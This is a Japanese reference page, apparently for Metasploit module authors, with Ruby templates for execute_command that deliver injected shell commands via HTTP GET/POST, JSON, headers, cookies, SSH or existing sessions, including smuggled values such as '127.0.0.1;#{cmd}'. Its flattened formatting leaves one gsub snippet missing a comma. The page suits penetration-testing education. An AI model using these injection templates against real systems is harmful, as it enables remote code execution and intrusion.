execute_command
execute_command(cmd, opts = {}) は、コマンド文字列 1 本を対象の実行経路へ届ける関数です。CmdStager 利用時は必須 override、単発 command injection でも同じ形に揃えると読みやすいです。
def execute_command(cmd, _opts = {}) # cmd を HTTP / SSH / TCP などへ送るend- CmdStager が分割した断片を順に渡してくる。
exploitから直接execute_command(payload.encoded)もできる。- escape / encoding はこの中で完結させる。
パターン一覧
Section titled “パターン一覧”HTTP GET injection
Section titled “HTTP GET injection”def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ping'), 'vars_get' => { 'ip' => "127.0.0.1;#{cmd}" } )endHTTP POST injection
Section titled “HTTP POST injection”def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/run'), 'vars_post' => { 'cmd' => cmd } )endHTTP JSON POST
Section titled “HTTP JSON POST”def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'run_code'), 'ctype' => 'application/json', 'data' => { 'code' => cmd }.to_json )endCmdStager はこの関数を複数回呼びます。登録とログインは別の authenticate で行い、この関数はコマンドの送信だけを担当します。実装例は Exploit の「自己登録 → ログイン → JSON API RCE」、応答の判定方法は 応答とデバッグ を参照してください。
Header / Cookie 経由
Section titled “Header / Cookie 経由”def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'headers' => { 'X-Cmd' => cmd }, 'cookie' => "x=#{Rex::Text.uri_encode(cmd)}" )enddef execute_command(cmd, _opts = {}) ssh_socket.exec!(cmd)end既存セッション(post / local)
Section titled “既存セッション(post / local)”def execute_command(cmd, _opts = {}) cmd_exec(cmd)endexploit 側
Section titled “exploit 側”def exploit # 短い cmd payload execute_command(payload.encoded)
# または dropper # execute_cmdstager(linemax: 1500)endbad character がある場合です。
def filter_bad_chars(cmd) cmd.gsub(/[;&|]/ '') # 例。対象のフィルタに合わせるend
def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ping'), 'vars_get' => { 'ip' => "1.1.1.1 && #{filter_bad_chars(cmd)}" } )end関連: CmdStager

